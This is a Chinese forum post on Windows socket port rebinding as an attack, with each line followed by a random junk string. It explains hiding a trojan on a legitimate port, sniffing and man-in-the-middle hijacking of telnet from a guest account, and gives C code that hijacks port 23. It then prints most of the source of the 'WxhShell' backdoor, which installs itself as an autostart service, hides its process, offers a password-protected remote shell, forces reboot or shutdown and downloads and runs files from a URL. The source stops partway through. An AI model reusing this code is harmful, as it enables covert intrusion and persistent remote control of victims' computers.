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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xqzdXL}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t?kbN\,  
C@ z^{Z+  
  saddr.sin_family = AF_INET; \xaK?_hv  
g*#.yC1/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?G!DYUK  
q:v&wb%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); of:xj$dQ_  
E^jb#9\R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [<{+tAdn)  
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  这意味着什么?意味着可以进行如下的攻击: ~lLIq!!\  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G_x<2E"d  
nz]+G2 h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6ax|EMw  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1vBXO bk  
pEE.%U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2V#(1Hc!  
. ),m7"u|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _gF )aE  
Dx27s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f?A*g$v  
i/U HDqZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ik4U+'z6  
&<sDbN S  
  #include t1YVE%`w  
  #include WY%'ps _]<  
  #include =sW(2Im  
  #include    e'zG=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wg=ge]E5  
  int main() beYaQz/@W  
  { *G#W],~0  
  WORD wVersionRequested; 3Ga! )  
  DWORD ret; y\&`A:^[ A  
  WSADATA wsaData; 9q -9UC!g  
  BOOL val; _YW1Mk1  
  SOCKADDR_IN saddr; x-/`c  
  SOCKADDR_IN scaddr; Ie~#k[X  
  int err; J_A5,K*r|  
  SOCKET s; I vQ]-A}N  
  SOCKET sc; zj^Ys`nl  
  int caddsize; (TV ye4Z  
  HANDLE mt; 0)'^vJe  
  DWORD tid;   <k&Q"X:"  
  wVersionRequested = MAKEWORD( 2, 2 ); }Z_w8+BZ  
  err = WSAStartup( wVersionRequested, &wsaData ); N?h=Zl|  
  if ( err != 0 ) { 1^zpO~@ S  
  printf("error!WSAStartup failed!\n"); Vn6g(:\w  
  return -1; b}9Ry"  
  } gG^K\+S  
  saddr.sin_family = AF_INET; -Ug  
   =:zmF]j9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vo[Zuv?<h  
^MGgFS]G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {(#>%f+|C  
  saddr.sin_port = htons(23); q(J3fjY)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nDS mr  
  { G.,dP +i  
  printf("error!socket failed!\n"); :.IVf Zw  
  return -1; VMUK|pC4 K  
  } %_!YonRY|X  
  val = TRUE; SAt{At  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fKMbOqU_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N4Z%8:"pj  
  { lmZ Ssx  
  printf("error!setsockopt failed!\n"); Wej8YF@  
  return -1; T,,,+gPx  
  } S3u>a\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '8v^.gZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~JsTHE$F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ax4nx!W,   
'@h5j6:2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Bg*Oj)NM  
  { }^;Tt-*k  
  ret=GetLastError(); %+U.zd$  
  printf("error!bind failed!\n"); H\7Qf8s|{  
  return -1; %B$~yx3#  
  } (8u.Xbdh  
  listen(s,2); 3eqnc),Z  
  while(1) )Ab!R:4  
  { F{a--  
  caddsize = sizeof(scaddr); y8uB>z+#+;  
  //接受连接请求 t/\J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iXt >!f*  
  if(sc!=INVALID_SOCKET) gf^"s fNk  
  { +^ n\?!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SNB >  
  if(mt==NULL) J)iy6{0"  
  { WhsTKy&E  
  printf("Thread Creat Failed!\n"); Rw\ LVRdA  
  break; E-_FxBw  
  } s88lN=;  
  } UW*[)yw]  
  CloseHandle(mt); /ov&h;  
  } w%&lCu@v  
  closesocket(s); xJ)hGPrAl  
  WSACleanup(); y|1,h}H^n  
  return 0; ({g7{tUy^H  
  }   Gk0f#;  
  DWORD WINAPI ClientThread(LPVOID lpParam) #8G (r9  
  { w:P$ S  
  SOCKET ss = (SOCKET)lpParam; y{ReQn3> y  
  SOCKET sc; @sRUl ,M;Z  
  unsigned char buf[4096]; u;m[,  
  SOCKADDR_IN saddr; IP K.  
  long num; ^~k2(DLk  
  DWORD val; @bQf =N+  
  DWORD ret; /(Se:jH$>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %]Gm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wiXdb[[#  
  saddr.sin_family = AF_INET; 8_6\>hW&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e#MEDjm/)g  
  saddr.sin_port = htons(23); lL.3$Rp;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {k=H5<FV  
  { h=uwOi6}  
  printf("error!socket failed!\n"); dHV3d'.P  
  return -1; &R:$h*Wt|  
  } #I jG[a-  
  val = 100; KiU/N$ E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :!a'N3o>  
  { ZtPq */'  
  ret = GetLastError();  -z9-f\  
  return -1; C=& 7V  
  } kGsd3t!'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,C%fA>?UF8  
  { hm"i\JZ3N  
  ret = GetLastError(); ,"~#s(  
  return -1; OTs vox|(  
  } 1@*qz\ YY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @Omgk=6  
  { 5|>FM&  
  printf("error!socket connect failed!\n"); AV\6K;~  
  closesocket(sc); Ww&~ZZZ {  
  closesocket(ss); 8.4 1EKr2  
  return -1; J0@<6~V6o  
  } d?G ~k[C!a  
  while(1) #?/&H;n_8S  
  { [EUp4%Z #  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BFP (2j  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f$vWi&(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9~8 A>  
  num = recv(ss,buf,4096,0); f>\guuG  
  if(num>0) 5 Z+2  
  send(sc,buf,num,0); $Fx:w  
  else if(num==0) :r%H sur(  
  break; <smi<syx  
  num = recv(sc,buf,4096,0); 41f4zisZ  
  if(num>0) `NqX{26GV+  
  send(ss,buf,num,0); dHp(U :)  
  else if(num==0) 0J-]  
  break; ^.5`jdk  
  } n\8;4]n  
  closesocket(ss); 0'T*l 2Z`2  
  closesocket(sc); gFR9!=,/V%  
  return 0 ;  AnK-\4  
  } 5g9lO]WDI  
W`HO Q  
oG5 :]/F  
========================================================== q3a`Y)aVB  
]B'Ac%Rx  
下边附上一个代码,,WXhSHELL oxkA+}^j8M  
EugQr<sM#  
========================================================== *7.EL`8  
6%  +s`  
#include "stdafx.h" <xOv0B  
T~B'- >O  
#include <stdio.h> ^fVLM>p<;  
#include <string.h> N|cWTbi  
#include <windows.h> >_3+s~  
#include <winsock2.h> 2$8#ePyq*  
#include <winsvc.h> P|mV((/m4  
#include <urlmon.h> 2 MFGKzO  
"vVL52HwB  
#pragma comment (lib, "Ws2_32.lib") :2#8\7IU^'  
#pragma comment (lib, "urlmon.lib") r83chR9  
Q"UWh~  
#define MAX_USER   100 // 最大客户端连接数 29P vPR6  
#define BUF_SOCK   200 // sock buffer $6\-8zNk  
#define KEY_BUFF   255 // 输入 buffer H"hL+F^  
.yp"6S^b  
#define REBOOT     0   // 重启 'Oyx X  
#define SHUTDOWN   1   // 关机 Y{yN*9a79  
Hd)z[6u8eT  
#define DEF_PORT   5000 // 监听端口 c5~d^  
TNY d_:j  
#define REG_LEN     16   // 注册表键长度 3,qq\gxB  
#define SVC_LEN     80   // NT服务名长度 ^zjQ(ca@"x  
4 j9  
// 从dll定义API uMW5F-~-+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b"x[+&%i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q^nSYp#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3fC|}<Wzt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7gIK+1`  
C~\/FrO?  
// wxhshell配置信息 @R+bR<}]  
struct WSCFG { 'M"JF;*r  
  int ws_port;         // 监听端口 E]x)Qr2Ju  
  char ws_passstr[REG_LEN]; // 口令 Of| e]GR  
  int ws_autoins;       // 安装标记, 1=yes 0=no = ~{n-rMF  
  char ws_regname[REG_LEN]; // 注册表键名 BzFD_A>j;_  
  char ws_svcname[REG_LEN]; // 服务名 a|B^%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XRU^7@Ylks  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B-63IN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }T!2IaAB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ppcuMcR{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [5&zyIi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q8:`;W  
1S !<D)n  
}; hR;J#w  
@)0-oa,u+  
// default Wxhshell configuration q7id?F}3&  
struct WSCFG wscfg={DEF_PORT, "52nT  
    "xuhuanlingzhe", mG,%f"b0  
    1, oS'M  
    "Wxhshell", Wj N0KA  
    "Wxhshell", rx^vh%/ Q!  
            "WxhShell Service", SZ+<0Y |  
    "Wrsky Windows CmdShell Service", W?W vT` T{  
    "Please Input Your Password: ", BaSNr6 YW  
  1, **I9Nw!IH  
  "http://www.wrsky.com/wxhshell.exe", b"Ep?=*5  
  "Wxhshell.exe" .\*3t/R=X  
    }; )IIQ{SwQq  
>pa tv  
// 消息定义模块 k:(i sKIA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &&C]i~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }NQx2k0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "z+Z8l1.  
char *msg_ws_ext="\n\rExit."; Ve<3XRq|8  
char *msg_ws_end="\n\rQuit."; -BWkPq!  
char *msg_ws_boot="\n\rReboot..."; !X 3/2KRP7  
char *msg_ws_poff="\n\rShutdown..."; p^_E7k<ag  
char *msg_ws_down="\n\rSave to "; [oOA@  
?Z}n0E `  
char *msg_ws_err="\n\rErr!"; j\w>}Pc  
char *msg_ws_ok="\n\rOK!"; yK"OZ2Mv  
>-0b@ +j  
char ExeFile[MAX_PATH]; ypxqW8Xe  
int nUser = 0; ,z}wR::%  
HANDLE handles[MAX_USER]; o6e6Jw  
int OsIsNt; \R& 4Nu2F  
"P:kZ= M Q  
SERVICE_STATUS       serviceStatus;  YM9oVF-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A[juzOn\  
Ed/@&52z0  
// 函数声明 Gmcx#?|Tx  
int Install(void); amI$0  
int Uninstall(void); &lYKi3}x  
int DownloadFile(char *sURL, SOCKET wsh); Zp|LCE"  
int Boot(int flag); "i$uV3d  
void HideProc(void); }vOUf# ^k  
int GetOsVer(void); /*GRE#7S  
int Wxhshell(SOCKET wsl); cK.T=7T  
void TalkWithClient(void *cs); md[FtcY\  
int CmdShell(SOCKET sock); W-Cf#o  
int StartFromService(void); EXz5Rue LV  
int StartWxhshell(LPSTR lpCmdLine); I>b-w;cC  
qL^}t_>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W%]sI n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0D1yG(ck  
x{io*sY-  
// 数据结构和表定义 mY9u/; dK  
SERVICE_TABLE_ENTRY DispatchTable[] = YWA:741  
{ 4+mawyM  
{wscfg.ws_svcname, NTServiceMain}, b~ ?TDm7  
{NULL, NULL} R6 w K'  
}; nLq7J:  
?V_Qa0k  
// 自我安装 "m]"%MU7 8  
int Install(void) zO>N3pMv  
{ eafy5vN[zX  
  char svExeFile[MAX_PATH]; t#|E.G:=  
  HKEY key; G)l[\6Dn  
  strcpy(svExeFile,ExeFile); P[{w23`4  
JH!qGV1  
// 如果是win9x系统,修改注册表设为自启动 zOq~?>Ms6  
if(!OsIsNt) { )@Yp;=l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f}bUuQrH-!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y_`D5c:  
  RegCloseKey(key); `$`:PT\Zv4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {+[~;ISL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yt*M|0bL  
  RegCloseKey(key); RIX0AE  
  return 0; xJ9_#$ngeM  
    } 96F:%|yG  
  } S=lA^#'UdX  
} xM%E;  
else { ( 5 d ~0  
yy?|q0  
// 如果是NT以上系统,安装为系统服务 ] K7>R0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?Gl'-tV  
if (schSCManager!=0) EU,4qO  
{ 6<H[1PI`,G  
  SC_HANDLE schService = CreateService  e4NT  
  ( 8QYG"CA6/  
  schSCManager, K G~](4JE(  
  wscfg.ws_svcname, UQ>GAzh  
  wscfg.ws_svcdisp, < W,k$|w  
  SERVICE_ALL_ACCESS, 6__@?XzJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pooi8" G  
  SERVICE_AUTO_START, :^kP?  
  SERVICE_ERROR_NORMAL, !mL,Ue3/  
  svExeFile, t; n6Q0  
  NULL, h`%K \C  
  NULL, c%)uG _  
  NULL, [p@NzS/  
  NULL, 5h[u2&;G  
  NULL P<kTjG  
  ); ZP?k|sEH  
  if (schService!=0) tH:ea$A  
  { 0[D5]mcv  
  CloseServiceHandle(schService); )T#;1qNB  
  CloseServiceHandle(schSCManager); iyOd&|.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I(Nsm3L  
  strcat(svExeFile,wscfg.ws_svcname); lGPC)Hu{`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {R8Q`2R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [RD ^@~x  
  RegCloseKey(key); 2Z@<llsi  
  return 0; aEdF Z  
    } CV4V_G  
  }  -/  
  CloseServiceHandle(schSCManager); zx(j6  
} Kggf!\MR8  
} >^:g[6Sj  
q30WUO;  
return 1; T-&CAD3 ,O  
} ~N[hY1}X[  
|k&.1NkZ  
// 自我卸载 (Wq9YDD@  
int Uninstall(void) |[K7oa~#  
{ K@n.$g  
  HKEY key; j`BF k>  
Vu\|KL|  
if(!OsIsNt) { NJUYeim;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U]R?O5K  
  RegDeleteValue(key,wscfg.ws_regname); CX':nai  
  RegCloseKey(key); Tc:W=\<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - |[_j$g  
  RegDeleteValue(key,wscfg.ws_regname); =AL95"cH~  
  RegCloseKey(key); * {4cc  
  return 0; JIb<>X,  
  } Pms3X  
} xOT'4v&.  
} K- }k-S  
else { `r*6P^P  
q'(WIv@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !+ uMH!  
if (schSCManager!=0) -(cm  
{ #]lUJ &M}e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8.pz?{**T  
  if (schService!=0) Wlg(z%  
  { <Dm6CH  
  if(DeleteService(schService)!=0) { +{hxEDz  
  CloseServiceHandle(schService); y^@% Xrs  
  CloseServiceHandle(schSCManager); %\~;I73  
  return 0; )lw7 W9  
  } WKah$l  
  CloseServiceHandle(schService); MCh8Q|Yx4  
  } 8~HC0o\2  
  CloseServiceHandle(schSCManager); ]nX.zE|F  
} >.{ ..~"K  
} (X!/tw,.  
%4 SREq  
return 1; 3]N}k|lb%  
} _D,8`na>K  
(la<X <w  
// 从指定url下载文件 sx]?^KR:  
int DownloadFile(char *sURL, SOCKET wsh) uTl:u  
{ do[K-r  
  HRESULT hr; CCEx>*E6c  
char seps[]= "/"; 0[v:^H  
char *token; c4-&I"z  
char *file; On'3K+(_  
char myURL[MAX_PATH]; s=%HTfw  
char myFILE[MAX_PATH]; fykN\b  
x *qef_Hu  
strcpy(myURL,sURL); keJec`q=X  
  token=strtok(myURL,seps); s`#hk^{  
  while(token!=NULL) k2t?e:)3zr  
  { w:Lu  
    file=token; Ep?a>\  
  token=strtok(NULL,seps); "~V}MPt  
  } B4|`Z'U#;  
Q|ik\  
GetCurrentDirectory(MAX_PATH,myFILE); UkqLLzL  
strcat(myFILE, "\\"); rM?D7a{q  
strcat(myFILE, file); mCz6&  
  send(wsh,myFILE,strlen(myFILE),0); 0H>Fyl2_  
send(wsh,"...",3,0); 7_K(x mK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8W$="s2  
  if(hr==S_OK) Q ,;x;QR4  
return 0; [CUJA  
else ?1N0+OW   
return 1; y:42H tS  
'^/E2+  
} xJ"Zg]d{  
/ruf1?\,R  
// 系统电源模块 J:(Shd'4D  
int Boot(int flag) 8^R>y  
{ lwY{rWo  
  HANDLE hToken; > T-O3/KN  
  TOKEN_PRIVILEGES tkp; j}VOr >xz  
<khx%<)P  
  if(OsIsNt) { vlPE8U=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  *$cp"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :jUuw:\  
    tkp.PrivilegeCount = 1; <GNOT"z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l?R_wu,Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^&6NB)6  
if(flag==REBOOT) { eAuJ}U[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'D/AL\1{p(  
  return 0; +.N;h-'  
} ; zvnDox  
else { /y!Vs`PZ!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,Tz ,)rY  
  return 0; >bZ#  
} qXhrK /  
  } 8@A[ `5  
  else { :9`1bZ?a  
if(flag==REBOOT) { IWWFl6$-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (mD]}{>  
  return 0; ib&qH_r/  
} 9<M$j x)  
else { uc<@ Fh(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p!a%*LfND  
  return 0; !6%G%ZG@3-  
} GawO>7w8  
} AO]lXa  
 ~Afs  
return 1; 3> (`Y  
} ^KaMi_--  
Orb(xLChJ  
// win9x进程隐藏模块 K$]QzPXS  
void HideProc(void) zh.c_>jS  
{ lET)<V(Y  
P X0#X=$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }dHiW:J>  
  if ( hKernel != NULL ) u#,]>;  
  { M/DTD98'N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :3t])mL#   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h0eo:Ahi  
    FreeLibrary(hKernel); m2! 7M%]GC  
  } TkBBHg;  
y2U:( H:l!  
return; ?qbp  
} ^~aSrREo  
UZ!hk*PF  
// 获取操作系统版本 VM!x)i9z  
int GetOsVer(void) mTPj@F>  
{ CHU'FSq!  
  OSVERSIONINFO winfo; **q/'K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %PS-nF7v  
  GetVersionEx(&winfo); A;!FtD/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1A)~Y   
  return 1; uUe\[-~  
  else G8s`<:9*  
  return 0; 0/6&2  
} ]]Z,Qu#<-  
8bGq"!w-  
// 客户端句柄模块 8<kme"% s  
int Wxhshell(SOCKET wsl) #~+#72+x7  
{ asi1c y\  
  SOCKET wsh; oB\Xl)A<  
  struct sockaddr_in client; nAg(lNOWN  
  DWORD myID; zoJ;5a.3B  
UIl_& |  
  while(nUser<MAX_USER) TUaK:*x*  
{ 6a?y $+pr  
  int nSize=sizeof(client); vVW=1(QWI#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o.5j@ dr  
  if(wsh==INVALID_SOCKET) return 1; Tpukz_F  
/wTf&_"mTL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [86'/:L\2  
if(handles[nUser]==0) p.9v<I%0  
  closesocket(wsh); y]l"u=$Tr{  
else <J)A_Kx[57  
  nUser++; 2mUu3fZ  
  } _}&]`,s>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C6VoOT )\  
*r`Yz}  
  return 0; 9^='&U9sr  
} MuobMD}jqe  
R`Lm"5w  
// 关闭 socket pPZ/O 6  
void CloseIt(SOCKET wsh) j0~3[dyqU  
{ kYB <FwwB  
closesocket(wsh); vb- .^l  
nUser--; \ V>%yl{8  
ExitThread(0); AD\<}/3U  
} L:M9|/  
.A\\v6@  
// 客户端请求句柄 xp&!Cl>C3\  
void TalkWithClient(void *cs) S=}~I  
{ mr!I}I7x&x  
DQ\&5ytP  
  SOCKET wsh=(SOCKET)cs; yj~"C$s  
  char pwd[SVC_LEN]; mM} Ukmy  
  char cmd[KEY_BUFF]; !XG&=Rd?  
char chr[1]; pxxFm~"d  
int i,j; qDM[7q3.  
O->eg  
  while (nUser < MAX_USER) { fmJWd|  
2&0<$>  
if(wscfg.ws_passstr) { *Zi%Q[0Me  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p'uz2/g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -o_T C  
  //ZeroMemory(pwd,KEY_BUFF); tb0E?&M  
      i=0; ?@?a}  
  while(i<SVC_LEN) { R2aK5~   
8 %j{4$  
  // 设置超时 {z/^X<T  
  fd_set FdRead; 9.zQ<k2  
  struct timeval TimeOut; B)]{]z0+`  
  FD_ZERO(&FdRead); Z9m;@<%  
  FD_SET(wsh,&FdRead); 51 0XDl~b  
  TimeOut.tv_sec=8; A{I a21T7  
  TimeOut.tv_usec=0; -FN6sNvIh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [ 5W#1 &  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9r nk\`E  
em [F|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "O[76}I+.q  
  pwd=chr[0]; ^<\} Y  
  if(chr[0]==0xd || chr[0]==0xa) { !t Oky  
  pwd=0; g&3#22z  
  break; .crM!{<Y  
  } dB+GTq=6f  
  i++; 7NB 9Vu|gD  
    } $p3Wjf:bH  
5u_4lNJ&  
  // 如果是非法用户,关闭 socket Gd-.E7CH!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RLz`aBT  
} ^D;D8A.  
 6b]d|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h ^h-pd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GR ?u?-  
OawrS{  
while(1) { Z 'NbHwW}  
D}/=\J/  
  ZeroMemory(cmd,KEY_BUFF); Hu9R.[u  
lF8 dRIav  
      // 自动支持客户端 telnet标准   o,Zng4NY  
  j=0; O*03PF^  
  while(j<KEY_BUFF) { ]cqZ!4?_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z|]oM#Gt  
  cmd[j]=chr[0]; !mxh]x<e  
  if(chr[0]==0xa || chr[0]==0xd) { o9LD6$  
  cmd[j]=0; %<C G|]W  
  break; F|Dz]ar  
  } NhoS7 y(  
  j++; fuD1U}c  
    } tOM3Gs~o6z  
4@]xn  
  // 下载文件 #* gU[9U~  
  if(strstr(cmd,"http://")) { _'hCUXeY'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KTK6#[8A  
  if(DownloadFile(cmd,wsh)) |5IY`;+9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )~.&bEm\  
  else W,/C?qFp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o`K^Wy~+k#  
  } 6eUiI@J  
  else { kE_@5t7O{  
HS`bto0*  
    switch(cmd[0]) { i9\\evJs  
  12d}#G<q-  
  // 帮助 %wjB)Mae  
  case '?': { (L0 hS'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _%Jl&0%q  
    break; UI<PNQvo9  
  } vYSetAd v  
  // 安装 @CaD8%j{  
  case 'i': { B~!G lT  
    if(Install()) H@2v<e@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V1`5D7Z  
    else 'hlB;z|T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c_G-R+  
    break; Jh&~/ntmm_  
    } L_~I ~  
  // 卸载 )YnI !v2T  
  case 'r': { @x=BJuUuX  
    if(Uninstall()) bmO__1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7c29Ua~[  
    else E7yf[/it  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N^Hn9n  
    break; B) *#g  
    } }&(E#*>x  
  // 显示 wxhshell 所在路径 h#@4@x{  
  case 'p': { Q Bfhyo_  
    char svExeFile[MAX_PATH]; 64!ame}n+  
    strcpy(svExeFile,"\n\r"); W\>^[c/  
      strcat(svExeFile,ExeFile); HhWwc#B  
        send(wsh,svExeFile,strlen(svExeFile),0); ?|">),  
    break; 4VmCW"b7h  
    } )"_Ff,9Z!  
  // 重启 #U$YZ#B  
  case 'b': { !k:zLjtp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  &6\r  
    if(Boot(REBOOT)) b 5F4+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5xMA~I0c  
    else { Q+N7:o!;<b  
    closesocket(wsh); y#Mc4?  
    ExitThread(0); T3G/v)ufd  
    } j$|j8?  
    break; qP;{3FSkAF  
    } o0aO0Y  
  // 关机 K#l  -?  
  case 'd': { 5DkK'tCI9Z  
